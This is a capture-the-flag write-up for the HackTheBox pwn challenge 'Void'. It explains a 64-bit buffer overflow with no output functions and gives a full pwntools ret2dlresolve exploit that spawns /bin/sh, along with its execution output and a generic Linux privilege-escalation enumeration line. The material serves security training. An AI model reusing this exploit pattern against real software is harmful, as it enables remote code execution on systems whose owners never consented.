Void
Void
Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-29 | Status: Solved Techniques: ret2dlresolve, rop_chain, stack_pivot
Summary
Task: Exploit a 64-bit binary with buffer overflow but no output functions (only read() in PLT). Solution: Use ret2dlresolve technique via pwntools Ret2dlresolvePayload to craft fake ELF dynamic linker structures that trick _dl_runtime_resolve into resolving system("/bin/sh"), bypassing the need for a libc leak.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20260129_htb_void - Tags: buffer_overflow, rop, ret2dlresolve, no_leak, no_pie
- Indicators: no output functions, only read() in PLT, partial RELRO, no PIE, buffer overflow
- Source:
20260129_htb_void.md
Foothold
Vulnerability / Misconfiguration
- Ret2dlresolve
- Rop_chain
- Stack_pivot
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- ret2dlresolve
- rop_chain
- stack_pivot
- Tags: buffer_overflow, rop, ret2dlresolve, no_leak, no_pie
Original Writeup
<details><summary>Click to expand original content</summary>Description
64-bit ELF binary with a simple buffer overflow vulnerability. The challenge is that there are no output functions (puts/printf/write) in the binary - only read(). This makes traditional libc leaking impossible.
Binary properties:
- 64-bit ELF
- No PIE (fixed addresses)
- No canary
- Partial RELRO (GOT is writable)
- NX enabled
Analysis
The vulnerable function is trivial:
void vuln() {
char data[64];
read(0, data, 200); // reads 200 bytes into 64-byte buffer
}
Offset calculation:
- Buffer: 64 bytes
- Saved RBP: 8 bytes
- Return address at offset: 72 bytes
The problem: Without output functions, we cannot leak libc addresses for a traditional ret2libc attack.
Failed Approaches
-
ret2csu + partial GOT overwrite to system() - Tried overwriting read@got with system using 3-byte partial overwrite. Theoretically should work but failed after 300+ attempts due to ASLR randomization.
-
ret2csu + one-gadget (0xc9611) - One-gadget constraints weren't satisfied in the execution context.
-
SROP - Too complex for this challenge, requires specific register setup.
Solution: ret2dlresolve
ret2dlresolve is the perfect technique when:
- No libc leak is possible (no output functions)
- Partial RELRO (GOT is writable)
- Have
read()to write arbitrary data to memory - No PIE (fixed addresses for structures)
How ret2dlresolve works
The dynamic linker resolves function addresses lazily. When a function is called for the first time, it goes through PLT -> GOT -> _dl_runtime_resolve(). We can craft fake structures (Elf64_Sym, Elf64_Rela) that tell the linker to resolve system instead of a legitimate function.
Exploit Strategy
- Use buffer overflow to execute ROP chain
- ROP chain calls
read(0, bss_area)to write our crafted dlresolve structures - Trigger ret2dlresolve to resolve
system("/bin/sh")
Working Exploit
#!/usr/bin/env python3
"""
Void - HackTheBox PWN Challenge
ret2dlresolve exploit
This technique tricks the dynamic linker into resolving a function
that is not linked to the binary (like system).
"""
from pwn import *
import sys
context.binary = "./challenge/void"
context.log_level = "info"
elf = context.binary
# Build ret2dlresolve payload
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh\0"])
# ROP chain:
# 1. read(0, dlresolve.data_addr) - read the dlresolve payload to memory
# 2. ret (for stack alignment)
# 3. ret2dlresolve - trigger the resolution and call system("/bin/sh")
rop.read(0, dlresolve.data_addr)
rop.raw(rop.ret[0]) # Stack alignment
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
print(f"[*] ROP chain length: {len(raw_rop)}")
print(f"[*] dlresolve payload length: {len(dlresolve.payload)}")
print(f"[*] dlresolve data_addr: {hex(dlresolve.data_addr)}")
# Connect
if len(sys.argv) > 1 and sys.argv[1] == "local":
p = elf.process()
else:
p = remote("83.136.250.108", 48538)
# Send overflow + ROP chain
# Offset to return address is 72 bytes (64 buffer + 8 saved rbp)
payload = b"A" * 72 + raw_rop
print(f"[*] Sending payload ({len(payload)} bytes)...")
p.send(payload)
sleep(0.5)
# Send dlresolve payload (will be read by the read() call in ROP chain)
print(f"[*] Sending dlresolve payload...")
p.send(dlresolve.payload)
sleep(0.5)
print("[+] Trying to get shell...")
p.sendline(b"id")
sleep(0.5)
try:
response = p.recv(timeout=2)
print(f"[+] Response: {response}")
if b"uid" in response:
print("[+] Got shell!")
p.sendline(b"cat flag*")
print(p.recv(timeout=2))
p.interactive()
except:
print("[-] No response, trying interactive...")
p.interactive()
Execution Output
[*] ROP chain length: 88
[*] dlresolve payload length: 97
[*] dlresolve data_addr: 0x404e00
[+] Opening connection to 83.136.250.108 on port 48538: Done
[*] Sending payload (160 bytes)...
[*] Sending dlresolve payload...
[+] Response: b'uid=100(ctf) gid=101(ctf) groups=101(ctf)\n'
[+] Got shell!
b'HTB{REDACTED}\n'
Key Learnings
- ret2dlresolve is the go-to technique when there's no libc leak possible and only read() is available
- pwntools makes it trivial with
Ret2dlresolvePayloadclass - no need to manually craft ELF structures - The technique works because we can write arbitrary data to memory and the dynamic linker trusts the structures we craft
- Partial RELRO is key - Full RELRO would prevent this attack
References
- https://7rocky.github.io/en/ctf/htb-challenges/pwn/void/
- https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve
- https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR